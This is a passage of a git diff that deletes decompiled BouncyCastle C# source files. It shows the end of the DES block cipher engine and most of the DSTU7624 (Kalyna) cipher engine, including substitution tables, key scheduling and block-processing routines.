8396801u, 8321u, 8321u, 128u, 8396928u, 8388737u, 8388609u, 8193u, 0u, 8396800u, - 8396800u, 8396929u, 129u, 0u, 8388736u, 8388609u, 1u, 8192u, 8388608u, 8396801u, - 128u, 8388608u, 8193u, 8320u, 8388737u, 1u, 8320u, 8388736u, 8192u, 8396928u, - 8396929u, 129u, 8388736u, 8388609u, 8396800u, 8396929u, 129u, 0u, 0u, 8396800u, - 8320u, 8388736u, 8388737u, 1u, 8396801u, 8321u, 8321u, 128u, 8396929u, 129u, - 1u, 8192u, 8388609u, 8193u, 8396928u, 8388737u, 8193u, 8320u, 8388608u, 8396801u, - 128u, 8388608u, 8192u, 8396928u - }; - - private static readonly uint[] SP5 = new uint[64] - { - 256u, 34078976u, 34078720u, 1107296512u, 524288u, 256u, 1073741824u, 34078720u, 1074266368u, 524288u, - 33554688u, 1074266368u, 1107296512u, 1107820544u, 524544u, 1073741824u, 33554432u, 1074266112u, 1074266112u, 0u, - 1073742080u, 1107820800u, 1107820800u, 33554688u, 1107820544u, 1073742080u, 0u, 1107296256u, 34078976u, 33554432u, - 1107296256u, 524544u, 524288u, 1107296512u, 256u, 33554432u, 1073741824u, 34078720u, 1107296512u, 1074266368u, - 33554688u, 1073741824u, 1107820544u, 34078976u, 1074266368u, 256u, 33554432u, 1107820544u, 1107820800u, 524544u, - 1107296256u, 1107820800u, 34078720u, 0u, 1074266112u, 1107296256u, 524544u, 33554688u, 1073742080u, 524288u, - 0u, 1074266112u, 34078976u, 1073742080u - }; - - private static readonly uint[] SP6 = new uint[64] - { - 536870928u, 541065216u, 16384u, 541081616u, 541065216u, 16u, 541081616u, 4194304u, 536887296u, 4210704u, - 4194304u, 536870928u, 4194320u, 536887296u, 536870912u, 16400u, 0u, 4194320u, 536887312u, 16384u, - 4210688u, 536887312u, 16u, 541065232u, 541065232u, 0u, 4210704u, 541081600u, 16400u, 4210688u, - 541081600u, 536870912u, 536887296u, 16u, 541065232u, 4210688u, 541081616u, 4194304u, 16400u, 536870928u, - 4194304u, 536887296u, 536870912u, 16400u, 536870928u, 541081616u, 4210688u, 541065216u, 4210704u, 541081600u, - 0u, 541065232u, 16u, 16384u, 541065216u, 4210704u, 16384u, 4194320u, 536887312u, 0u, - 541081600u, 536870912u, 4194320u, 536887312u - }; - - private static readonly uint[] SP7 = new uint[64] - { - 2097152u, 69206018u, 67110914u, 0u, 2048u, 67110914u, 2099202u, 69208064u, 69208066u, 2097152u, - 0u, 67108866u, 2u, 67108864u, 69206018u, 2050u, 67110912u, 2099202u, 2097154u, 67110912u, - 67108866u, 69206016u, 69208064u, 2097154u, 69206016u, 2048u, 2050u, 69208066u, 2099200u, 2u, - 67108864u, 2099200u, 67108864u, 2099200u, 2097152u, 67110914u, 67110914u, 69206018u, 69206018u, 2u, - 2097154u, 67108864u, 67110912u, 2097152u, 69208064u, 2050u, 2099202u, 69208064u, 2050u, 67108866u, - 69208066u, 69206016u, 2099200u, 0u, 2u, 69208066u, 0u, 2099202u, 69206016u, 2048u, - 67108866u, 67110912u, 2048u, 2097154u - }; - - private static readonly uint[] SP8 = new uint[64] - { - 268439616u, 4096u, 262144u, 268701760u, 268435456u, 268439616u, 64u, 268435456u, 262208u, 268697600u, - 268701760u, 266240u, 268701696u, 266304u, 4096u, 64u, 268697600u, 268435520u, 268439552u, 4160u, - 266240u, 262208u, 268697664u, 268701696u, 4160u, 0u, 0u, 268697664u, 268435520u, 268439552u, - 266304u, 262144u, 266304u, 262144u, 268701696u, 4096u, 64u, 268697664u, 4096u, 266304u, - 268439552u, 64u, 268435520u, 268697600u, 268697664u, 268435456u, 262144u, 268439616u, 0u, 268701760u, - 262208u, 268435520u, 268697600u, 268439552u, 268439616u, 0u, 268701760u, 266240u, 266240u, 4160u, - 4160u, 262208u, 268435456u, 268701696u - }; - - public virtual string AlgorithmName => "DES"; - - public virtual bool IsPartialBlockOkay => false; - - public virtual int[] GetWorkingKey() - { - return workingKey; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("invalid parameter passed to DES init - " + Platform.GetTypeName(parameters)); - } - workingKey = GenerateWorkingKey(forEncryption, ((KeyParameter)parameters).GetKey()); - } - - public virtual int GetBlockSize() - { - return 8; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("DES engine not initialised"); - } - Check.DataLength(input, inOff, 8, "input buffer too short"); - Check.OutputLength(output, outOff, 8, "output buffer too short"); - DesFunc(workingKey, input, inOff, output, outOff); - return 8; - } - - public virtual void Reset() - { - } - - protected static int[] GenerateWorkingKey(bool encrypting, byte[] key) - { - int[] array = new int[32]; - bool[] array2 = new bool[56]; - bool[] array3 = new bool[56]; - for (int i = 0; i < 56; i++) - { - int num = pc1[i]; - array2[i] = (key[num >>> 3] & bytebit[num & 7]) != 0; - } - for (int j = 0; j < 16; j++) - { - int num2 = ((!encrypting) ? (15 - j << 1) : (j << 1)); - int num3 = num2 + 1; - array[num2] = (array[num3] = 0); - for (int k = 0; k < 28; k++) - { - int num4 = k + totrot[j]; - if (num4 < 28) - { - array3[k] = array2[num4]; - } - else - { - array3[k] = array2[num4 - 28]; - } - } - for (int l = 28; l < 56; l++) - { - int num4 = l + totrot[j]; - if (num4 < 56) - { - array3[l] = array2[num4]; - } - else - { - array3[l] = array2[num4 - 28]; - } - } - for (int m = 0; m < 24; m++) - { - if (array3[pc2[m]]) - { - int[] array5; - int[] array4 = (array5 = array); - nint num5 = num2; - array4[num2] = array5[num5] | bigbyte[m]; - } - if (array3[pc2[m + 24]]) - { - int[] array5; - int[] array6 = (array5 = array); - nint num5 = num3; - array6[num3] = array5[num5] | bigbyte[m]; - } - } - } - for (int n = 0; n != 32; n += 2) - { - int num6 = array[n]; - int num7 = array[n + 1]; - array[n] = ((num6 & 0xFC0000) << 6) | ((num6 & 0xFC0) << 10) | ((num7 & 0xFC0000) >>> 10) | ((num7 & 0xFC0) >>> 6); - array[n + 1] = ((num6 & 0x3F000) << 12) | ((num6 & 0x3F) << 16) | ((num7 & 0x3F000) >>> 4) | (num7 & 0x3F); - } - return array; - } - - internal static void DesFunc(int[] wKey, byte[] input, int inOff, byte[] outBytes, int outOff) - { - uint num = Pack.BE_To_UInt32(input, inOff); - uint num2 = Pack.BE_To_UInt32(input, inOff + 4); - uint num3 = ((num >> 4) ^ num2) & 0xF0F0F0F; - num2 ^= num3; - num ^= num3 << 4; - num3 = ((num >> 16) ^ num2) & 0xFFFF; - num2 ^= num3; - num ^= num3 << 16; - num3 = ((num2 >> 2) ^ num) & 0x33333333; - num ^= num3; - num2 ^= num3 << 2; - num3 = ((num2 >> 8) ^ num) & 0xFF00FF; - num ^= num3; - num2 ^= num3 << 8; - num2 = (num2 << 1) | (num2 >> 31); - num3 = (num ^ num2) & 0xAAAAAAAAu; - num ^= num3; - num2 ^= num3; - num = (num << 1) | (num >> 31); - for (int i = 0; i < 8; i++) - { - num3 = (num2 << 28) | (num2 >> 4); - num3 ^= (uint)wKey[i * 4]; - uint num4 = SP7[num3 & 0x3F]; - num4 |= SP5[(num3 >> 8) & 0x3F]; - num4 |= SP3[(num3 >> 16) & 0x3F]; - num4 |= SP1[(num3 >> 24) & 0x3F]; - num3 = num2 ^ (uint)wKey[i * 4 + 1]; - num4 |= SP8[num3 & 0x3F]; - num4 |= SP6[(num3 >> 8) & 0x3F]; - num4 |= SP4[(num3 >> 16) & 0x3F]; - num4 |= SP2[(num3 >> 24) & 0x3F]; - num ^= num4; - num3 = (num << 28) | (num >> 4); - num3 ^= (uint)wKey[i * 4 + 2]; - num4 = SP7[num3 & 0x3F]; - num4 |= SP5[(num3 >> 8) & 0x3F]; - num4 |= SP3[(num3 >> 16) & 0x3F]; - num4 |= SP1[(num3 >> 24) & 0x3F]; - num3 = num ^ (uint)wKey[i * 4 + 3]; - num4 |= SP8[num3 & 0x3F]; - num4 |= SP6[(num3 >> 8) & 0x3F]; - num4 |= SP4[(num3 >> 16) & 0x3F]; - num4 |= SP2[(num3 >> 24) & 0x3F]; - num2 ^= num4; - } - num2 = (num2 << 31) | (num2 >> 1); - num3 = (num ^ num2) & 0xAAAAAAAAu; - num ^= num3; - num2 ^= num3; - num = (num << 31) | (num >> 1); - num3 = ((num >> 8) ^ num2) & 0xFF00FF; - num2 ^= num3; - num ^= num3 << 8; - num3 = ((num >> 2) ^ num2) & 0x33333333; - num2 ^= num3; - num ^= num3 << 2; - num3 = ((num2 >> 16) ^ num) & 0xFFFF; - num ^= num3; - num2 ^= num3 << 16; - num3 = ((num2 >> 4) ^ num) & 0xF0F0F0F; - num ^= num3; - num2 ^= num3 << 4; - Pack.UInt32_To_BE(num2, outBytes, outOff); - Pack.UInt32_To_BE(num, outBytes, outOff + 4); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Dstu7624Engine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Dstu7624Engine.cs deleted file mode 100644 index 47d858d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/Dstu7624Engine.cs +++ /dev/null @@ -1,1060 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class Dstu7624Engine : IBlockCipher -{ - private const int ROUNDS_128 = 10; - - private const int ROUNDS_256 = 14; - - private const int ROUNDS_512 = 18; - - private const ulong mdsMatrix = 290207332435296513uL; - - private const ulong mdsInvMatrix = 14616231584692868525uL; - - private ulong[] internalState; - - private ulong[] workingKey; - - private ulong[][] roundKeys; - - private int wordsInBlock; - - private int wordsInKey; - - private int roundsAmount; - - private bool forEncryption; - - private static readonly byte[] S0 = new byte[256] - { - 168, 67, 95, 6, 107, 117, 108, 89, 113, 223, - 135, 149, 23, 240, 216, 9, 109, 243, 29, 203, - 201, 77, 44, 175, 121, 224, 151, 253, 111, 75, - 69, 57, 62, 221, 163, 79, 180, 182, 154, 14, - 31, 191, 21, 225, 73, 210, 147, 198, 146, 114, - 158, 97, 209, 99, 250, 238, 244, 25, 213, 173, - 88, 164, 187, 161, 220, 242, 131, 55, 66, 228, - 122, 50, 156, 204, 171, 74, 143, 110, 4, 39, - 46, 231, 226, 90, 150, 22, 35, 43, 194, 101, - 102, 15, 188, 169, 71, 65, 52, 72, 252, 183, - 106, 136, 165, 83, 134, 249, 91, 219, 56, 123, - 195, 30, 34, 51, 36, 40, 54, 199, 178, 59, - 142, 119, 186, 245, 20, 159, 8, 85, 155, 76, - 254, 96, 92, 218, 24, 70, 205, 125, 33, 176, - 63, 27, 137, 255, 235, 132, 105, 58, 157, 215, - 211, 112, 103, 64, 181, 222, 93, 48, 145, 177, - 120, 17, 1, 229, 0, 104, 152, 160, 197, 2, - 166, 116, 45, 11, 162, 118, 179, 190, 206, 189, - 174, 233, 138, 49, 28, 236, 241, 153, 148, 170, - 246, 38, 47, 239, 232, 140, 53, 3, 212, 127, - 251, 5, 193, 94, 144, 32, 61, 130, 247, 234, - 10, 13, 126, 248, 80, 26, 196, 7, 87, 184, - 60, 98, 227, 200, 172, 82, 100, 16, 208, 217, - 19, 12, 18, 41, 81, 185, 207, 214, 115, 141, - 129, 84, 192, 237, 78, 68, 167, 42, 133, 37, - 230, 202, 124, 139, 86, 128 - }; - - private static readonly byte[] S1 = new byte[256] - { - 206, 187, 235, 146, 234, 203, 19, 193, 233, 58, - 214, 178, 210, 144, 23, 248, 66, 21, 86, 180, - 101, 28, 136, 67, 197, 92, 54, 186, 245, 87, - 103, 141, 49, 246, 100, 88, 158, 244, 34, 170, - 117, 15, 2, 177, 223, 109, 115, 77, 124, 38, - 46, 247, 8, 93, 68, 62, 159, 20, 200, 174, - 84, 16, 216, 188, 26, 107, 105, 243, 189, 51, - 171, 250, 209, 155, 104, 78, 22, 149, 145, 238, - 76, 99, 142, 91, 204, 60, 25, 161, 129, 73, - 123, 217, 111, 55, 96, 202, 231, 43, 72, 253, - 150, 69, 252, 65, 18, 13, 121, 229, 137, 140, - 227, 32, 48, 220, 183, 108, 74, 181, 63, 151, - 212, 98, 45, 6, 164, 165, 131, 95, 42, 218, - 201, 0, 126, 162, 85, 191, 17, 213, 156, 207, - 14, 10, 61, 81, 125, 147, 27, 254, 196, 71, - 9, 134, 11, 143, 157, 106, 7, 185, 176, 152, - 24, 50, 113, 75, 239, 59, 112, 160, 228, 64, - 255, 195, 169, 230, 120, 249, 139, 70, 128, 30, - 56, 225, 184, 168, 224, 12, 35, 118, 29, 37, - 36, 5, 241, 110, 148, 40, 154, 132, 232, 163, - 79, 119, 211, 133, 226, 82, 242, 130, 80, 122, - 47, 116, 83, 179, 97, 175, 57, 53, 222, 205, - 31, 153, 172, 173, 114, 44, 221, 208, 135, 190, - 94, 166, 236, 4, 198, 3, 52, 251, 219, 89, - 182, 194, 1, 240, 90, 237, 167, 102, 33, 127, - 138, 39, 199, 192, 41, 215 - }; - - private static readonly byte[] S2 = new byte[256] - { - 147, 217, 154, 181, 152, 34, 69, 252, 186, 106, - 223, 2, 159, 220, 81, 89, 74, 23, 43, 194, - 148, 244, 187, 163, 98, 228, 113, 212, 205, 112, - 22, 225, 73, 60, 192, 216, 92, 155, 173, 133, - 83, 161, 122, 200, 45, 224, 209, 114, 166, 44, - 196, 227, 118, 120, 183, 180, 9, 59, 14, 65, - 76, 222, 178, 144, 37, 165, 215, 3, 17, 0, - 195, 46, 146, 239, 78, 18, 157, 125, 203, 53, - 16, 213, 79, 158, 77, 169, 85, 198, 208, 123, - 24, 151, 211, 54, 230, 72, 86, 129, 143, 119, - 204, 156, 185, 226, 172, 184, 47, 21, 164, 124, - 218, 56, 30, 11, 5, 214, 20, 110, 108, 126, - 102, 253, 177, 229, 96, 175, 94, 51, 135, 201, - 240, 93, 109, 63, 136, 141, 199, 247, 29, 233, - 236, 237, 128, 41, 39, 207, 153, 168, 80, 15, - 55, 36, 40, 48, 149, 210, 62, 91, 64, 131, - 179, 105, 87, 31, 7, 28, 138, 188, 32, 235, - 206, 142, 171, 238, 49, 162, 115, 249, 202, 58, - 26, 251, 13, 193, 254, 250, 242, 111, 189, 150, - 221, 67, 82, 182, 8, 243, 174, 190, 25, 137, - 50, 38, 176, 234, 75, 100, 132, 130, 107, 245, - 121, 191, 1, 95, 117, 99, 27, 35, 61, 104, - 42, 101, 232, 145, 246, 255, 19, 88, 241, 71, - 10, 127, 197, 167, 231, 97, 90, 6, 70, 68, - 66, 4, 160, 219, 57, 134, 84, 170, 140, 52, - 33, 139, 248, 12, 116, 103 - }; - - private static readonly byte[] S3 = new byte[256] - { - 104, 141, 202, 77, 115, 75, 78, 42, 212, 82, - 38, 179, 84, 30, 25, 31, 34, 3, 70, 61, - 45, 74, 83, 131, 19, 138, 183, 213, 37, 121, - 245, 189, 88, 47, 13, 2, 237, 81, 158, 17, - 242, 62, 85, 94, 209, 22, 60, 102, 112, 93, - 243, 69, 64, 204, 232, 148, 86, 8, 206, 26, - 58, 210, 225, 223, 181, 56, 110, 14, 229, 244, - 249, 134, 233, 79, 214, 133, 35, 207, 50, 153, - 49, 20, 174, 238, 200, 72, 211, 48, 161, 146, - 65, 177, 24, 196, 44, 113, 114, 68, 21, 253, - 55, 190, 95, 170, 155, 136, 216, 171, 137, 156, - 250, 96, 234, 188, 98, 12, 36, 166, 168, 236, - 103, 32, 219, 124, 40, 221, 172, 91, 52, 126, - 16, 241, 123, 143, 99, 160, 5, 154, 67, 119, - 33, 191, 39, 9, 195, 159, 182, 215, 41, 194, - 235, 192, 164, 139, 140, 29, 251, 255, 193, 178, - 151, 46, 248, 101, 246, 117, 7, 4, 73, 51, - 228, 217, 185, 208, 66, 199, 108, 144, 0, 142, - 111, 80, 1, 197, 218, 71, 63, 205, 105, 162, - 226, 122, 167, 198, 147, 15, 10, 6, 230, 43, - 150, 163, 28, 175, 106, 18, 132, 57, 231, 176, - 130, 247, 254, 157, 135, 92, 129, 53, 222, 180, - 165, 252, 128, 239, 203, 187, 107, 118, 186, 90, - 125, 120, 11, 149, 227, 173, 116, 152, 59, 54, - 100, 109, 220, 240, 89, 169, 76, 23, 127, 145, - 184, 201, 87, 27, 224, 97 - }; - - private static readonly byte[] T0 = new byte[256] - { - 164, 162, 169, 197, 78, 201, 3, 217, 126, 15, - 210, 173, 231, 211, 39, 91, 227, 161, 232, 230, - 124, 42, 85, 12, 134, 57, 215, 141, 184, 18, - 111, 40, 205, 138, 112, 86, 114, 249, 191, 79, - 115, 233, 247, 87, 22, 172, 80, 192, 157, 183, - 71, 113, 96, 196, 116, 67, 108, 31, 147, 119, - 220, 206, 32, 140, 153, 95, 68, 1, 245, 30, - 135, 94, 97, 44, 75, 29, 129, 21, 244, 35, - 214, 234, 225, 103, 241, 127, 254, 218, 60, 7, - 83, 106, 132, 156, 203, 2, 131, 51, 221, 53, - 226, 89, 90, 152, 165, 146, 100, 4, 6, 16, - 77, 28, 151, 8, 49, 238, 171, 5, 175, 121, - 160, 24, 70, 109, 252, 137, 212, 199, 255, 240, - 207, 66, 145, 248, 104, 10, 101, 142, 182, 253, - 195, 239, 120, 76, 204, 158, 48, 46, 188, 11, - 84, 26, 166, 187, 38, 128, 72, 148, 50, 125, - 167, 63, 174, 34, 61, 102, 170, 246, 0, 93, - 189, 74, 224, 59, 180, 23, 139, 159, 118, 176, - 36, 154, 37, 99, 219, 235, 122, 62, 92, 179, - 177, 41, 242, 202, 88, 110, 216, 168, 47, 117, - 223, 20, 251, 19, 73, 136, 178, 236, 228, 52, - 45, 150, 198, 58, 237, 149, 14, 229, 133, 107, - 64, 33, 155, 9, 25, 43, 82, 222, 69, 163, - 250, 81, 194, 181, 209, 144, 185, 243, 55, 193, - 13, 186, 65, 17, 56, 123, 190, 208, 213, 105, - 54, 200, 98, 27, 130, 143 - }; - - private static readonly byte[] T1 = new byte[256] - { - 131, 242, 42, 235, 233, 191, 123, 156, 52, 150, - 141, 152, 185, 105, 140, 41, 61, 136, 104, 6, - 57, 17, 76, 14, 160, 86, 64, 146, 21, 188, - 179, 220, 111, 248, 38, 186, 190, 189, 49, 251, - 195, 254, 128, 97, 225, 122, 50, 210, 112, 32, - 161, 69, 236, 217, 26, 93, 180, 216, 9, 165, - 85, 142, 55, 118, 169, 103, 16, 23, 54, 101, - 177, 149, 98, 89, 116, 163, 80, 47, 75, 200, - 208, 143, 205, 212, 60, 134, 18, 29, 35, 239, - 244, 83, 25, 53, 230, 127, 94, 214, 121, 81, - 34, 20, 247, 30, 74, 66, 155, 65, 115, 45, - 193, 92, 166, 162, 224, 46, 211, 40, 187, 201, - 174, 106, 209, 90, 48, 144, 132, 249, 178, 88, - 207, 126, 197, 203, 151, 228, 22, 108, 250, 176, - 109, 31, 82, 153, 13, 78, 3, 145, 194, 77, - 100, 119, 159, 221, 196, 73, 138, 154, 36, 56, - 167, 87, 133, 199, 124, 125, 231, 246, 183, 172, - 39, 70, 222, 223, 59, 215, 158, 43, 11, 213, - 19, 117, 240, 114, 182, 157, 27, 1, 63, 68, - 229, 135, 253, 7, 241, 171, 148, 24, 234, 252, - 58, 130, 95, 5, 84, 219, 0, 139, 227, 72, - 12, 202, 120, 137, 10, 255, 62, 91, 129, 238, - 113, 226, 218, 44, 184, 181, 204, 110, 168, 107, - 173, 96, 198, 8, 4, 2, 232, 245, 79, 164, - 243, 192, 206, 67, 37, 28, 33, 51, 15, 175, - 71, 237, 102, 99, 147, 170 - }; - - private static readonly byte[] T2 = new byte[256] - { - 69, 212, 11, 67, 241, 114, 237, 164, 194, 56, - 230, 113, 253, 182, 58, 149, 80, 68, 75, 226, - 116, 107, 30, 17, 90, 198, 180, 216, 165, 138, - 112, 163, 168, 250, 5, 217, 151, 64, 201, 144, - 152, 143, 220, 18, 49, 44, 71, 106, 153, 174, - 200, 127, 249, 79, 93, 150, 111, 244, 179, 57, - 33, 218, 156, 133, 158, 59, 240, 191, 239, 6, - 238, 229, 95, 32, 16, 204, 60, 84, 74, 82, - 148, 14, 192, 40, 246, 86, 96, 162, 227, 15, - 236, 157, 36, 131, 126, 213, 124, 235, 24, 215, - 205, 221, 120, 255, 219, 161, 9, 208, 118, 132, - 117, 187, 29, 26, 47, 176, 254, 214, 52, 99, - 53, 210, 42, 89, 109, 77, 119, 231, 142, 97, - 207, 159, 206, 39, 245, 128, 134, 199, 166, 251, - 248, 135, 171, 98, 63, 223, 72, 0, 20, 154, - 189, 91, 4, 146, 2, 37, 101, 76, 83, 12, - 242, 41, 175, 23, 108, 65, 48, 233, 147, 85, - 247, 172, 104, 38, 196, 125, 202, 122, 62, 160, - 55, 3, 193, 54, 105, 102, 8, 22, 167, 188, - 197, 211, 34, 183, 19, 70, 50, 232, 87, 136, - 43, 129, 178, 78, 100, 28, 170, 145, 88, 46, - 155, 92, 27, 81, 115, 66, 35, 1, 110, 243, - 13, 190, 61, 10, 45, 31, 103, 51, 25, 123, - 94, 234, 222, 139, 203, 169, 140, 141, 173, 73, - 130, 228, 186, 195, 21, 209, 224, 137, 252, 177, - 185, 181, 7, 121, 184, 225 - }; - - private static readonly byte[] T3 = new byte[256] - { - 178, 182, 35, 17, 167, 136, 197, 166, 57, 143, - 196, 232, 115, 34, 67, 195, 130, 39, 205, 24, - 81, 98, 45, 247, 92, 14, 59, 253, 202, 155, - 13, 15, 121, 140, 16, 76, 116, 28, 10, 142, - 124, 148, 7, 199, 94, 20, 161, 33, 87, 80, - 78, 169, 128, 217, 239, 100, 65, 207, 60, 238, - 46, 19, 41, 186, 52, 90, 174, 138, 97, 51, - 18, 185, 85, 168, 21, 5, 246, 3, 6, 73, - 181, 37, 9, 22, 12, 42, 56, 252, 32, 244, - 229, 127, 215, 49, 43, 102, 111, 255, 114, 134, - 240, 163, 47, 120, 0, 188, 204, 226, 176, 241, - 66, 180, 48, 95, 96, 4, 236, 165, 227, 139, - 231, 29, 191, 132, 123, 230, 129, 248, 222, 216, - 210, 23, 206, 75, 71, 214, 105, 108, 25, 153, - 154, 1, 179, 133, 177, 249, 89, 194, 55, 233, - 200, 160, 237, 79, 137, 104, 109, 213, 38, 145, - 135, 88, 189, 201, 152, 220, 117, 192, 118, 245, - 103, 107, 126, 235, 82, 203, 209, 91, 159, 11, - 219, 64, 146, 26, 250, 172, 228, 225, 113, 31, - 101, 141, 151, 158, 149, 144, 93, 183, 193, 175, - 84, 251, 2, 224, 53, 187, 58, 77, 173, 44, - 61, 86, 8, 27, 74, 147, 106, 171, 184, 122, - 242, 125, 218, 63, 254, 62, 190, 234, 170, 68, - 198, 208, 54, 72, 112, 150, 119, 36, 83, 223, - 243, 131, 40, 50, 69, 30, 164, 211, 162, 70, - 110, 156, 221, 99, 212, 157 - }; - - public virtual string AlgorithmName => "DSTU7624"; - - public virtual bool IsPartialBlockOkay => false; - - public Dstu7624Engine(int blockSizeBits) - { - if (blockSizeBits != 128 && blockSizeBits != 256 && blockSizeBits != 512) - { - throw new ArgumentException("unsupported block length: only 128/256/512 are allowed"); - } - wordsInBlock = blockSizeBits / 64; - internalState = new ulong[wordsInBlock]; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter)) - { - throw new ArgumentException("Invalid parameter passed to Dstu7624Engine Init"); - } - this.forEncryption = forEncryption; - byte[] key = ((KeyParameter)parameters).GetKey(); - int num = key.Length << 3; - int num2 = wordsInBlock << 6; - if (num != 128 && num != 256 && num != 512) - { - throw new ArgumentException("unsupported key length: only 128/256/512 are allowed"); - } - if (num != num2 && num != 2 * num2) - { - throw new ArgumentException("Unsupported key length"); - } - switch (num) - { - case 128: - roundsAmount = 10; - break; - case 256: - roundsAmount = 14; - break; - case 512: - roundsAmount = 18; - break; - } - wordsInKey = num / 64; - roundKeys = new ulong[roundsAmount + 1][]; - for (int i = 0; i < roundKeys.Length; i++) - { - roundKeys[i] = new ulong[wordsInBlock]; - } - workingKey = new ulong[wordsInKey]; - if (key.Length != wordsInKey * 8) - { - throw new ArgumentException("Invalid key parameter passed to Dstu7624Engine Init"); - } - Pack.LE_To_UInt64(key, 0, workingKey); - ulong[] array = new ulong[wordsInBlock]; - WorkingKeyExpandKT(workingKey, array); - WorkingKeyExpandEven(workingKey, array); - WorkingKeyExpandOdd(); - } - - private void WorkingKeyExpandKT(ulong[] workingKey, ulong[] tempKeys) - { - ulong[] array = new ulong[wordsInBlock]; - ulong[] array2 = new ulong[wordsInBlock]; - internalState = new ulong[wordsInBlock]; - ulong[] array3; - (array3 = internalState)[0] = array3[0] + (ulong)(wordsInBlock + wordsInKey + 1); - if (wordsInBlock == wordsInKey) - { - Array.Copy(workingKey, 0, array, 0, array.Length); - Array.Copy(workingKey, 0, array2, 0, array2.Length); - } - else - { - Array.Copy(workingKey, 0, array, 0, wordsInBlock); - Array.Copy(workingKey, wordsInBlock, array2, 0, wordsInBlock); - } - for (int i = 0; i < internalState.Length; i++) - { - ulong[] array4 = (array3 = internalState); - int num = i; - nint num2 = num; - array4[num] = array3[num2] + array[i]; - } - EncryptionRound(); - for (int j = 0; j < internalState.Length; j++) - { - ulong[] array5 = (array3 = internalState); - int num3 = j; - nint num2 = num3; - array5[num3] = array3[num2] ^ array2[j]; - } - EncryptionRound(); - for (int k = 0; k < internalState.Length; k++) - { - ulong[] array6 = (array3 = internalState); - int num4 = k; - nint num2 = num4; - array6[num4] = array3[num2] + array[k]; - } - EncryptionRound(); - Array.Copy(internalState, 0, tempKeys, 0, wordsInBlock); - } - - private void WorkingKeyExpandEven(ulong[] workingKey, ulong[] tempKey) - { - ulong[] array = new ulong[wordsInKey]; - ulong[] array2 = new ulong[wordsInBlock]; - int num = 0; - Array.Copy(workingKey, 0, array, 0, wordsInKey); - ulong num2 = 281479271743489uL; - while (true) - { - for (int i = 0; i < wordsInBlock; i++) - { - array2[i] = tempKey[i] + num2; - } - for (int j = 0; j < wordsInBlock; j++) - { - internalState[j] = array[j] + array2[j]; - } - EncryptionRound(); - for (int k = 0; k < wordsInBlock; k++) - { - ulong[] array4; - ulong[] array3 = (array4 = internalState); - int num3 = k; - nint num4 = num3; - array3[num3] = array4[num4] ^ array2[k]; - } - EncryptionRound(); - for (int l = 0; l < wordsInBlock; l++) - { - ulong[] array4; - ulong[] array5 = (array4 = internalState); - int num5 = l; - nint num4 = num5; - array5[num5] = array4[num4] + array2[l]; - } - Array.Copy(internalState, 0, roundKeys[num], 0, wordsInBlock); - if (roundsAmount == num) - { - break; - } - if (wordsInKey != wordsInBlock) - { - num += 2; - num2 <<= 1; - for (int m = 0; m < wordsInBlock; m++) - { - array2[m] = tempKey[m] + num2; - } - for (int n = 0; n < wordsInBlock; n++) - { - internalState[n] = array[wordsInBlock + n] + array2[n]; - } - EncryptionRound(); - for (int num6 = 0; num6 < wordsInBlock; num6++) - { - ulong[] array4; - ulong[] array6 = (array4 = internalState); - int num7 = num6; - nint num4 = num7; - array6[num7] = array4[num4] ^ array2[num6]; - } - EncryptionRound(); - for (int num8 = 0; num8 < wordsInBlock; num8++) - { - ulong[] array4; - ulong[] array7 = (array4 = internalState); - int num9 = num8; - nint num4 = num9; - array7[num9] = array4[num4] + array2[num8]; - } - Array.Copy(internalState, 0, roundKeys[num], 0, wordsInBlock); - if (roundsAmount == num) - { - break; - } - } - num += 2; - num2 <<= 1; - ulong num10 = array[0]; - for (int num11 = 1; num11 < array.Length; num11++) - { - array[num11 - 1] = array[num11]; - } - array[^1] = num10; - } - } - - private void WorkingKeyExpandOdd() - { - for (int i = 1; i < roundsAmount; i += 2) - { - RotateLeft(roundKeys[i - 1], roundKeys[i]); - } - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (workingKey == null) - { - throw new InvalidOperationException("Dstu7624Engine not initialised"); - } - Check.DataLength(input, inOff, GetBlockSize(), "input buffer too short"); - Check.OutputLength(output, outOff, GetBlockSize(), "output buffer too short"); - if (forEncryption) - { - int num = wordsInBlock; - if (num == 2) - { - EncryptBlock_128(input, inOff, output, outOff); - } - else - { - Pack.LE_To_UInt64(input, inOff, internalState); - AddRoundKey(0); - int num2 = 0; - while (true) - { - EncryptionRound(); - if (++num2 == roundsAmount) - { - break; - } - XorRoundKey(num2); - } - AddRoundKey(roundsAmount); - Pack.UInt64_To_LE(internalState, output, outOff); - } - } - else - { - int num = wordsInBlock; - if (num == 2) - { - DecryptBlock_128(input, inOff, output, outOff); - } - else - { - Pack.LE_To_UInt64(input, inOff, internalState); - SubRoundKey(roundsAmount); - int num3 = roundsAmount; - while (true) - { - DecryptionRound(); - if (--num3 == 0) - { - break; - } - XorRoundKey(num3); - } - SubRoundKey(0); - Pack.UInt64_To_LE(internalState, output, outOff); - } - } - return GetBlockSize(); - } - - private void EncryptionRound() - { - SubBytes(); - ShiftRows(); - MixColumns(); - } - - private void DecryptionRound() - { - MixColumnsInv(); - InvShiftRows(); - InvSubBytes(); - } - - private void DecryptBlock_128(byte[] input, int inOff, byte[] output, int outOff) - { - ulong num = Pack.LE_To_UInt64(input, inOff); - ulong num2 = Pack.LE_To_UInt64(input, inOff + 8); - ulong[] array = roundKeys[roundsAmount]; - num -= array[0]; - num2 -= array[1]; - int num3 = roundsAmount; - while (true) - { - num = MixColumnInv(num); - num2 = MixColumnInv(num2); - uint num4 = (uint)num; - uint num5 = (uint)(num >> 32); - uint num6 = (uint)num2; - uint num7 = (uint)(num2 >> 32); - byte b = T0[num4 & 0xFF]; - byte b2 = T1[(num4 >> 8) & 0xFF]; - byte b3 = T2[(num4 >> 16) & 0xFF]; - byte b4 = T3[num4 >> 24]; - num4 = (uint)(b | (b2 << 8) 